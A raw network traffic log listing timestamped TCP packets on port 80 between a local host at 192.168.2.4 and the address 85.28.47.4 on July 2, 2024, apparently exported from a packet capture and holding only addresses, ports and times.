Jul 2, 2024 15:26:06.658909082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.658921957 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.658922911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.658945084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.658946991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.658966064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.658972979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.658984900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.658987999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659006119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659007072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659017086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659018040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659037113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659040928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659051895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659051895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659073114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659075022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659085035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659101963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659162998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659174919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659192085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659207106 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659225941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659225941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659238100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659266949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659275055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659368038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659379959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659404993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659406900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659420013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659425974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659437895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659442902 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659459114 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659468889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659502983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659514904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659533024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659543991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659545898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659563065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659583092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659605026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659616947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659634113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659646988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659648895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659666061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659670115 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659678936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.659689903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659717083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659717083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.659986973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.660027981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.660028934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.660039902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.660067081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.660078049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.660101891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.660113096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.660130978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.660145998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.660146952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.660167933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.660187960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.660227060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.660248995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.660260916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.660270929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.660279036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.660288095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.660289049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.660312891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.660315037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.660326958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.660334110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.660348892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.660348892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.660362005 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.660383940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.660391092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.660408974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.660420895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.660430908 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.660435915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.660446882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.660454035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.660458088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.660475016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.660478115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.660492897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.660501957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.660512924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.660521984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.660541058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.660553932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.676887989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.676907063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.676928997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.676968098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.676979065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.676992893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.676992893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677016973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677021980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677028894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677037954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677050114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677051067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677072048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677082062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677098989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677110910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677128077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677136898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677139044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677156925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677164078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677167892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677181959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677187920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677196980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677211046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677212000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677225113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677227974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677247047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677261114 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677263975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677275896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677299023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677301884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677310944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677314043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677336931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677355051 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677459002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677500963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677555084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677568913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677587032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677596092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677602053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677615881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677620888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677628040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677649021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677654982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677668095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677679062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677691936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677704096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677755117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677797079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677798986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677809954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677829981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677839994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.677841902 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677861929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.677886009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.737678051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.737721920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.737744093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.737756014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.737765074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.737770081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.737787008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.737798929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.737798929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.737811089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.737827063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.737828970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.737844944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.737845898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.737874031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.737884045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.737899065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.737910032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.737929106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.737936974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.737941027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.737947941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.737966061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.737981081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.738156080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.738209963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.748517036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.748536110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.748559952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.748574972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.748585939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.748596907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.748600006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.748639107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.748645067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.748656988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.748675108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.748687983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.748698950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.748707056 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.751580000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.751606941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.751626015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.751633883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.751638889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.751643896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.751662970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.751663923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.751672983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.751674891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.751698017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.751698017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.751709938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.751739025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.751907110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.751919031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.751935959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.751946926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.751948118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.751966000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.751966000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.751979113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.751988888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.751997948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.751997948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.752011061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.752022028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.752036095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.752039909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.752060890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.752060890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.752069950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.752096891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.752867937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.752893925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.752908945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.752918959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.752921104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.752928972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.752940893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.752945900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.752959967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.752960920 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.752973080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.752974033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.752989054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.752991915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753002882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753009081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753025055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753031015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753036976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753038883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753057003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753057003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753067970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753071070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753093004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753097057 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753107071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753108978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753120899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753125906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753140926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753144979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753154039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753165960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753170013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753177881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753200054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753202915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753221035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753222942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753235102 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753243923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753252983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753261089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753281116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753284931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753299952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753299952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753321886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753325939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753329992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753346920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753357887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753360987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753379107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753385067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753391981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753391981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753412008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753416061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753422976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753448009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753572941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753583908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753602028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753609896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753617048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753628016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753633976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753643990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753647089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753659964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753668070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753676891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753679991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.753706932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.753726959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.768191099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.768214941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.768234015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.768270969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.768285990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.768410921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.768423080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.768441916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.768451929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.768471003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.768492937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.768505096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.768521070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.768531084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.768532038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.768542051 CEST	49730	80	192.168.2.4	85.28.47.4
